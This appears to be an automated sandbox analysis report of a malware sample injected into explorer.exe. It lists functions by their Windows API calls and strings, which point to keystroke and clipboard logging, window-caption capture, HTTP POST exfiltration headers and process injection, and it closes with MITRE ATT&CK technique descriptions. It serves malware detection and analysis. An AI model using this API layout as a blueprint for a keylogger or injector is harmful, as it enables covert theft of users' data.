Opcode ID: 24c2200e27abb652ca1bfd4c75f1b7e4ce00125b251973345659544986cc25f9
Instruction ID: 3f169ad1e6b2d46940cd7683615a7c7166f3c54d3bf143f9de22ae338024f98f
Opcode Fuzzy Hash: 24c2200e27abb652ca1bfd4c75f1b7e4ce00125b251973345659544986cc25f9
Instruction Fuzzy Hash: BA61BD35206306AFEB14EF25CC84E6BBBEDFB89750F05055AF999D3241D774D8048BA2

Function 03092799 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 68
encryptionstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 030927B5
CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 030927CD
lstrlen.KERNEL32(?,00000000), ref: 030927D5
CryptHashData.ADVAPI32(?,?,00000000,?,00000000), ref: 030927E0
CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000,?,00000000,?,00000000), ref: 030927FA
wsprintfA.USER32 ref: 03092811
CryptDestroyHash.ADVAPI32(?), ref: 0309282A
CryptReleaseContext.ADVAPI32(?,00000000), ref: 03092834

Strings

%02X, xrefs: 0309280B

Memory Dump Source

Source File: 00000010.00000002.4535447813.0000000003091000.00000040.80000000.00040000.00000000.sdmp, Offset: 03091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3091000_explorer.jbxd

Similarity

API ID: Crypt$Hash$Context$AcquireCreateDataDestroyParamReleaselstrlenwsprintf
String ID: %02X
API String ID: 3341110664-436463671
Opcode ID: 2bd97d09e0d35ac86c0825777d4c038cde02dcb449ad17eefc287650144abd4e
Instruction ID: dc614c372e460c696764faba9b815507c107d913590982b1c8d04692e568c61e
Opcode Fuzzy Hash: 2bd97d09e0d35ac86c0825777d4c038cde02dcb449ad17eefc287650144abd4e
Instruction Fuzzy Hash: AD114975902108BFEB11AB99EC89EEFBBBCFB88301F1140A6F644E2110D7354E159B60

Function 0309162B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 03091652
ToUnicode.USER32(0000001B,?,?,?,00000009,00000000), ref: 0309167A

Strings

, xrefs: 03091699

Memory Dump Source

Source File: 00000010.00000002.4535447813.0000000003091000.00000040.80000000.00040000.00000000.sdmp, Offset: 03091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3091000_explorer.jbxd

Similarity

API ID: KeyboardStateUnicode
String ID:
API String ID: 3453085656-3916222277
Opcode ID: db6e4163524f0b9405c24a2deb0321f194a60a75eca83da9217f2fe9946ced5a
Instruction ID: 6f6c1c5152eb7f259ec537650696eb60b86ac31bb919418057ca2fcda33f57fc
Opcode Fuzzy Hash: db6e4163524f0b9405c24a2deb0321f194a60a75eca83da9217f2fe9946ced5a
Instruction Fuzzy Hash: F2016D36E0221A9AEF38DF55D945BFBB3BCAF85B00F0C445BE901E2150D734E5459AA1

Function 030913AE Relevance: 38.6, APIs: 17, Strings: 5, Instructions: 144
libraryloaderthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlZeroMemory.NTDLL(03095013,0000001C), ref: 030913C8
VirtualQuery.KERNEL32(030913AE,?,0000001C), ref: 030913DA
GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 0309140B
GetCurrentProcessId.KERNEL32(00000004), ref: 0309141C
wsprintfA.USER32 ref: 03091433
CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 03091448
GetLastError.KERNEL32 ref: 0309144E
RtlInitializeCriticalSection.NTDLL(0309582C), ref: 03091465
Sleep.KERNEL32(000001F4), ref: 03091489
GetModuleHandleA.KERNEL32(user32.dll,TranslateMessage), ref: 030914A6
GetProcAddress.KERNEL32(00000000), ref: 030914AF
GetModuleHandleA.KERNEL32(user32.dll,GetClipboardData), ref: 030914D0
GetProcAddress.KERNEL32(00000000), ref: 030914D3
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 030914F1
CreateThread.KERNEL32(00000000,00000000,Function_0000082D,00000000,00000000,00000000), ref: 0309150D
CloseHandle.KERNEL32(00000000), ref: 03091514
RtlExitUserThread.NTDLL(00000000), ref: 0309152A

Strings

GetClipboardData, xrefs: 030914C6
TranslateMessage, xrefs: 0309149C
user32.dll, xrefs: 030914A1, 030914CB
%s%d%d%d, xrefs: 0309142D
kernel32.dll, xrefs: 030914EC

Memory Dump Source

Source File: 00000010.00000002.4535447813.0000000003091000.00000040.80000000.00040000.00000000.sdmp, Offset: 03091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3091000_explorer.jbxd

Similarity

API ID: HandleModule$AddressCreateProcThread$CloseCriticalCurrentErrorExitFileInitializeLastMemoryMutexNameProcessQuerySectionSleepUserVirtualZerowsprintf
String ID: %s%d%d%d$GetClipboardData$TranslateMessage$kernel32.dll$user32.dll
API String ID: 3628807430-1779906909
Opcode ID: e5f9369dae0c920649bf49eada96dc06e3f086588248543c490ed9bd074d340a
Instruction ID: cb98a0e73468a1b141a722292b3e2886a11ffbbf643ff20771137694f07f7f31
Opcode Fuzzy Hash: e5f9369dae0c920649bf49eada96dc06e3f086588248543c490ed9bd074d340a
Instruction Fuzzy Hash: 0141A378702309FBEF15FB669C19A5F7BACFBC5740B02445BF5468A245CB7998009FA0

Function 030916B9 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 90
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.NTDLL(0309582C), ref: 030916C4
lstrlenW.KERNEL32 ref: 030916DB
lstrlenW.KERNEL32 ref: 030916F3
wsprintfW.USER32 ref: 03091743
GetForegroundWindow.USER32 ref: 0309174E
GetWindowTextW.USER32(00000000,03095850,00000800), ref: 03091767
GetClassNameW.USER32(00000000,03095850,00000800), ref: 03091774
lstrcmpW.KERNEL32(03095020,03095850), ref: 03091781
lstrcpyW.KERNEL32(03095020,03095850), ref: 0309178D
wsprintfW.USER32 ref: 030917AD
lstrcatW.KERNEL32 ref: 030917C6
RtlLeaveCriticalSection.NTDLL(0309582C), ref: 030917D3

Strings

%s%s%s, xrefs: 03091738
%s%s%s%s, xrefs: 030917A2
New Window Caption -> , xrefs: 0309179A
Clipboard -> , xrefs: 03091730

Memory Dump Source

Source File: 00000010.00000002.4535447813.0000000003091000.00000040.80000000.00040000.00000000.sdmp, Offset: 03091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3091000_explorer.jbxd

Similarity

API ID: CriticalSectionWindowlstrlenwsprintf$ClassEnterForegroundLeaveNameTextlstrcatlstrcmplstrcpy
String ID: Clipboard -> $ New Window Caption -> $%s%s%s$%s%s%s%s
API String ID: 2651329914-3371406555
Opcode ID: a70b32f1bff09c4bf1b1336f40914fd45a30d3f7fd4762e24d8df2a093d059fe
Instruction ID: 84412fefc695e8614395ebdb414fc9d013a8420e8c87ac6c04b19098eaec2d96
Opcode Fuzzy Hash: a70b32f1bff09c4bf1b1336f40914fd45a30d3f7fd4762e24d8df2a093d059fe
Instruction Fuzzy Hash: E021DB3860720ABBFB26B726EC8896F7BBCFBC27547050097F45156119DA198C01ABE5

Function 030925F1 Relevance: 15.1, APIs: 10, Instructions: 51
threadprocessinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 03092603
GetCurrentThreadId.KERNEL32 ref: 0309260B
CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 0309261B
Thread32First.KERNEL32(00000000,0000001C), ref: 03092629
OpenThread.KERNEL32(001FFFFF,00000000,?), ref: 03092648
SuspendThread.KERNEL32(00000000), ref: 03092658
CloseHandle.KERNEL32(00000000), ref: 03092667
Thread32Next.KERNEL32(00000000,0000001C), ref: 03092677
CloseHandle.KERNEL32(00000000), ref: 03092682

Memory Dump Source

Source File: 00000010.00000002.4535447813.0000000003091000.00000040.80000000.00040000.00000000.sdmp, Offset: 03091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3091000_explorer.jbxd

Similarity

API ID: Thread$CloseCurrentHandleThread32$CreateFirstNextOpenProcessSnapshotSuspendToolhelp32
String ID:
API String ID: 1467098526-0
Opcode ID: 075dd1e85d8b2a2e01e3a1d21722cf1165dac08c563a2e5b300d30864460b80c
Instruction ID: d6d567d979728d11eabb34a43d224bd7fd45969740ae3eda7b582bc5ca638ced
Opcode Fuzzy Hash: 075dd1e85d8b2a2e01e3a1d21722cf1165dac08c563a2e5b300d30864460b80c
Instruction Fuzzy Hash: A4115139406304EBEB01EF60E85CA6FBBA8FB84705F05099BF58592144D73889159FA2

Function 030920A1 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 283
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03092A09: GetProcessHeap.KERNEL32(00000008,0000A000,030910BF), ref: 03092A0C
Part of subcall function 03092A09: RtlAllocateHeap.NTDLL(00000000), ref: 03092A13

Part of subcall function 0309298A: lstrlen.KERNEL32(03094FE2,?,00000000,00000000,030920DD,75918A60,03094FE2,00000000), ref: 03092992
Part of subcall function 0309298A: MultiByteToWideChar.KERNEL32(00000000,00000000,03094FE2,00000001,00000000,00000000), ref: 030929A4

Part of subcall function 030924CC: RtlZeroMemory.NTDLL(?,00000018), ref: 030924DE

RtlZeroMemory.NTDLL(?,0000003C), ref: 03092139
wsprintfW.USER32 ref: 03092272
wsprintfW.USER32 ref: 030922DD
RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 030923A7

Strings

Content-Type: application/x-www-form-urlencoded, xrefs: 03092301
POST, xrefs: 03092223
Host: %s, xrefs: 030922D7
Accept: */*Referer: %S, xrefs: 03092268

Memory Dump Source

Source File: 00000010.00000002.4535447813.0000000003091000.00000040.80000000.00040000.00000000.sdmp, Offset: 03091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3091000_explorer.jbxd

Similarity

API ID: Memory$HeapZerowsprintf$AllocateByteCharMoveMultiProcessWidelstrlen
String ID: Accept: */*Referer: %S$Content-Type: application/x-www-form-urlencoded$Host: %s$POST
API String ID: 4204651544-1701262698
Opcode ID: 10cd1137b21299d640be6811cc71e9b5360a0b717cd8c14098db3f688186e358
Instruction ID: c99089e0e250c2c09ea691a0d37878a4ee8324388b7e5a50f8fa6396377310a5
Opcode Fuzzy Hash: 10cd1137b21299d640be6811cc71e9b5360a0b717cd8c14098db3f688186e358
Instruction Fuzzy Hash: FEA18D7560A308AFEB50EF68D884A6FBBECFB89340F04082EF585C7251DB34D9049B56

Function 030912AE Relevance: 7.6, APIs: 5, Instructions: 93
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030929BD: VirtualAlloc.KERNEL32(00000000,00040744,00003000,00000040,030912D9,00000000,00000000,?,00000001), ref: 030929C7

lstrlen.KERNEL32(00000000,00000000,00000000,?,00000001), ref: 030912DC

Part of subcall function 03092A09: GetProcessHeap.KERNEL32(00000008,0000A000,030910BF), ref: 03092A0C
Part of subcall function 03092A09: RtlAllocateHeap.NTDLL(00000000), ref: 03092A13

PathMatchSpecA.SHLWAPI(?,00000000), ref: 0309138A

Part of subcall function 03092841: lstrlen.KERNEL32(00000000,?,?,00000001,00000000,03091119,00000001), ref: 03092850
Part of subcall function 03092841: lstrlen.KERNEL32(keylog_rules=,?,?,00000001,00000000,03091119,00000001), ref: 03092855

RtlZeroMemory.NTDLL(00000000,00000104), ref: 03091316
RtlMoveMemory.NTDLL(00000000,?,?), ref: 03091332

Part of subcall function 03092569: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,0309136E), ref: 03092591
Part of subcall function 03092569: RtlMoveMemory.NTDLL(00000FA4,00000000,00000000), ref: 0309259A

RtlMoveMemory.NTDLL(00000000,?,?), ref: 0309135F

Memory Dump Source

Source File: 00000010.00000002.4535447813.0000000003091000.00000040.80000000.00040000.00000000.sdmp, Offset: 03091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3091000_explorer.jbxd

Similarity

API ID: Memorylstrlen$Move$Heap$AllocAllocateMatchPathProcessSpecVirtualZero
String ID:
API String ID: 2993730741-0
Opcode ID: c0d52a75d80ed9591200087a7688a9ecd7e6a2f2aa74e4d1a351d11bdd14c050
Instruction ID: b43734e3ff2611a81987477027a9c7599dcc8f1545782ee53710edbc39b4ca36
Opcode Fuzzy Hash: c0d52a75d80ed9591200087a7688a9ecd7e6a2f2aa74e4d1a351d11bdd14c050
Instruction Fuzzy Hash: A721A578706306AFAB04EF28945447EB7EEBBC8600B04492FF895D7340DB34DC05AA66

Function 03091581 Relevance: 7.6, APIs: 5, Instructions: 66
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalLock.KERNEL32(00000000), ref: 030915A9
lstrlenW.KERNEL32(00000000), ref: 030915C6
lstrcatW.KERNEL32(00000000,00000000), ref: 030915DC
lstrlenW.KERNEL32(00000000), ref: 03091600
GlobalUnlock.KERNEL32(00000000), ref: 0309161C

Memory Dump Source

Source File: 00000010.00000002.4535447813.0000000003091000.00000040.80000000.00040000.00000000.sdmp, Offset: 03091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3091000_explorer.jbxd

Similarity

API ID: Globallstrlen$LockUnlocklstrcat
String ID:
API String ID: 1114890469-0
Opcode ID: c08bd3143a1575c29fc0ef17a51a08cc241f3cb3fd9e8dee6e15e8a1c0e627af
Instruction ID: 3987f8e1d6672755f031ba4884092ea9ac45d4b51db3936e016f1de16092d020
Opcode Fuzzy Hash: c08bd3143a1575c29fc0ef17a51a08cc241f3cb3fd9e8dee6e15e8a1c0e627af
Instruction Fuzzy Hash: E501E93AF03106ABBE6DF7796C585BEA2EDAFC611070E0427E447D2314DE288C026650

Function 03091BBD Relevance: 6.1, APIs: 4, Instructions: 101
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlMoveMemory.NTDLL(?,?,?), ref: 03091BF4
LoadLibraryA.KERNEL32(?,03095848,00000000,00000000,75922EE0,00000000,030919B6,?,?,?,00000001,?,00000000), ref: 03091C1C
GetProcAddress.KERNEL32(00000000,-00000002), ref: 03091C49
LdrProcessRelocationBlock.NTDLL(?,?,00000008,?), ref: 03091C9A

Memory Dump Source

Source File: 00000010.00000002.4535447813.0000000003091000.00000040.80000000.00040000.00000000.sdmp, Offset: 03091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3091000_explorer.jbxd

Similarity

API ID: AddressBlockLibraryLoadMemoryMoveProcProcessRelocation
String ID:
API String ID: 3827878703-0
Opcode ID: 3e2004b269e34dd4ee121584ab11494cfe91102d731b6eefacc3be41cfe4b7fb
Instruction ID: d0d15f9aebb7b92f64747209768ee65537e2f4c9dd9c145b02593eadf429f053
Opcode Fuzzy Hash: 3e2004b269e34dd4ee121584ab11494cfe91102d731b6eefacc3be41cfe4b7fb
Instruction Fuzzy Hash: DC31C0B5706203ABEF5CCF29C886B66B7E8BF05304B08456EE886C7200D735E845DBA0

Function 0309182D Relevance: 6.0, APIs: 4, Instructions: 42sleepstringCOMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(0309582C), ref: 03091839
lstrlenW.KERNEL32 ref: 03091845
RtlLeaveCriticalSection.NTDLL(0309582C), ref: 030918A9
Sleep.KERNEL32(00007530), ref: 030918B4

Memory Dump Source

Source File: 00000010.00000002.4535447813.0000000003091000.00000040.80000000.00040000.00000000.sdmp, Offset: 03091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3091000_explorer.jbxd

Similarity

API ID: CriticalSection$EnterLeaveSleeplstrlen
String ID:
API String ID: 2134730579-0
Opcode ID: 8f33614fa95ee3bbbb64c44a8e766dc90e1bf5f69030a41d7ad154ed54c19018
Instruction ID: b7227fafe131f7044991235c2b1989dc6fbd57f560e54af07a5585bb8a26fede
Opcode Fuzzy Hash: 8f33614fa95ee3bbbb64c44a8e766dc90e1bf5f69030a41d7ad154ed54c19018
Instruction Fuzzy Hash: 6A01A734617604BBEB15F766EC5956F3AADFBC2740305005BE0418B254DA388C01FBA1

Function 030926C9 Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000400,00000000,?,?,00000001,?,00000000,030911DD), ref: 030926DB
IsWow64Process.KERNEL32(000000FF,?), ref: 030926ED
IsWow64Process.KERNEL32(00000000,?), ref: 03092700
CloseHandle.KERNEL32(00000000), ref: 03092716

Memory Dump Source

Source File: 00000010.00000002.4535447813.0000000003091000.00000040.80000000.00040000.00000000.sdmp, Offset: 03091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3091000_explorer.jbxd

Similarity

API ID: Process$Wow64$CloseHandleOpen
String ID:
API String ID: 331459951-0
Opcode ID: 31f4c48a692d2eed1591d0f7e6930b12bf7dab81f0fb629497924f075c97ab93
Instruction ID: e62bad9f902f708453b8cfa553e71e07c457c1baa0e6aa96a339332faefbf8d3
Opcode Fuzzy Hash: 31f4c48a692d2eed1591d0f7e6930b12bf7dab81f0fb629497924f075c97ab93
Instruction Fuzzy Hash: 7AF0907980721CFFAB10DFA09D888AFF7BCEE05251B1402ABE901A3140D7344E00AAA0

Function 030917DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31timeCOMMON

Download Yara Rule

APIs

Part of subcall function 03092A09: GetProcessHeap.KERNEL32(00000008,0000A000,030910BF), ref: 03092A0C
Part of subcall function 03092A09: RtlAllocateHeap.NTDLL(00000000), ref: 03092A13

GetLocalTime.KERNEL32(?,00000000), ref: 030917F3
wsprintfW.USER32 ref: 0309181D

Strings

[%02d.%02d.%d %02d:%02d:%02d], xrefs: 03091817

Memory Dump Source

Source File: 00000010.00000002.4535447813.0000000003091000.00000040.80000000.00040000.00000000.sdmp, Offset: 03091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3091000_explorer.jbxd

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: [%02d.%02d.%d %02d:%02d:%02d]
API String ID: 377395780-613334611
Opcode ID: 7b99a3f8581092cf624b46e222b6a679a6ac966fc59eba5190e8b1a763feb5ab
Instruction ID: 1e0036d50191c61bfc0e59d3590835af4bd816d5deb800ebd322184157dffec5
Opcode Fuzzy Hash: 7b99a3f8581092cf624b46e222b6a679a6ac966fc59eba5190e8b1a763feb5ab
Instruction Fuzzy Hash: 97F03066901128BADB14ABDE9C058FFB3FCEB0CB02B00018BFA95E1180E67C5950D7B5

Analysis Process: explorer.exePID: 5008, Parent PID: 1028COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0062370C Relevance: 1.6, APIs: 1, Instructions: 75
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 0062378C

Memory Dump Source

Source File: 00000012.00000002.4535106914.0000000000621000.00000040.80000000.00040000.00000000.sdmp, Offset: 00621000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_621000_explorer.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: dbf61e07686744f72196ae4154379358cd8380f5b457a8fa64264e9f57adb311
Instruction ID: 0e225eee23b335dada8c34161d5d26838191a57c19187175ce99dd63b5d1ee95
Opcode Fuzzy Hash: dbf61e07686744f72196ae4154379358cd8380f5b457a8fa64264e9f57adb311
Instruction Fuzzy Hash: 79119374601D294BEF58FB78A89D2B533D3E754312F54402DA815CB3A2DF3D8A858B08

Function 0062B4A8 Relevance: 4.8, APIs: 3, Instructions: 252
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,?,7473604B), ref: 0062B5A7
VirtualProtect.KERNELBASE(?,?,?,?,?,?,?,-00000003), ref: 0062B651
VirtualProtect.KERNELBASE ref: 0062B66F

Memory Dump Source

Source File: 00000012.00000002.4535106914.000000000062A000.00000040.80000000.00040000.00000000.sdmp, Offset: 0062A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_62a000_explorer.jbxd

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 2ac08652e5940d8da138c1cef1dd6534290a638b515b67647dbd8ecab25afafd
Instruction ID: a433d342c0d41108eb40e56c0b469c3cee1f94dc0596d5370a39c7133ce11e89
Opcode Fuzzy Hash: 2ac08652e5940d8da138c1cef1dd6534290a638b515b67647dbd8ecab25afafd
Instruction Fuzzy Hash: 8C517B31754D3E4BCB24AE78BCC42F4B7D3F755325B18166AC49ACB385E758C8868B81

Function 006234C4 Relevance: 3.2, APIs: 2, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00621BF8: OpenFileMappingA.KERNEL32 ref: 00621C0F
Part of subcall function 00621BF8: MapViewOfFile.KERNELBASE ref: 00621C2E

SysFreeMap.PGOCR ref: 006236F7
SleepEx.KERNELBASE ref: 00623701

Memory Dump Source

Source File: 00000012.00000002.4535106914.0000000000621000.00000040.80000000.00040000.00000000.sdmp, Offset: 00621000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_621000_explorer.jbxd

Similarity

API ID: File$FreeMappingOpenSleepView
String ID:
API String ID: 4205437007-0
Opcode ID: b219c8272f255adf82644705b15b3be163a192963f27b66c12c2cdeb1fe9695d
Instruction ID: cf9c9c703a93b49925208f26c190c97b050b6cfea26fbca33a97b82f934907c7
Opcode Fuzzy Hash: b219c8272f255adf82644705b15b3be163a192963f27b66c12c2cdeb1fe9695d
Instruction Fuzzy Hash: 38519730208E284FDB59FB24E8996EA7397EBA5310F44461DE457C73A1DF38D6058B85

Function 00621BF8 Relevance: 3.0, APIs: 2, Instructions: 40
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenFileMappingA.KERNEL32 ref: 00621C0F
MapViewOfFile.KERNELBASE ref: 00621C2E

Memory Dump Source

Source File: 00000012.00000002.4535106914.0000000000621000.00000040.80000000.00040000.00000000.sdmp, Offset: 00621000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_621000_explorer.jbxd

Similarity

API ID: File$MappingOpenView
String ID:
API String ID: 3439327939-0
Opcode ID: 6967ddb8a23556e9d4b9c667e167efa50793072ee7ce98a3c93afcac9569559f
Instruction ID: 7e864cbc68533d615d0ff4466237fabe915e5faecd6b2bba141795472722c220
Opcode Fuzzy Hash: 6967ddb8a23556e9d4b9c667e167efa50793072ee7ce98a3c93afcac9569559f
Instruction Fuzzy Hash: 31F08234318F0D4FAB44EF7C9C9C135B7E1EBA8202700857A984AC6264EF34C8418701

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

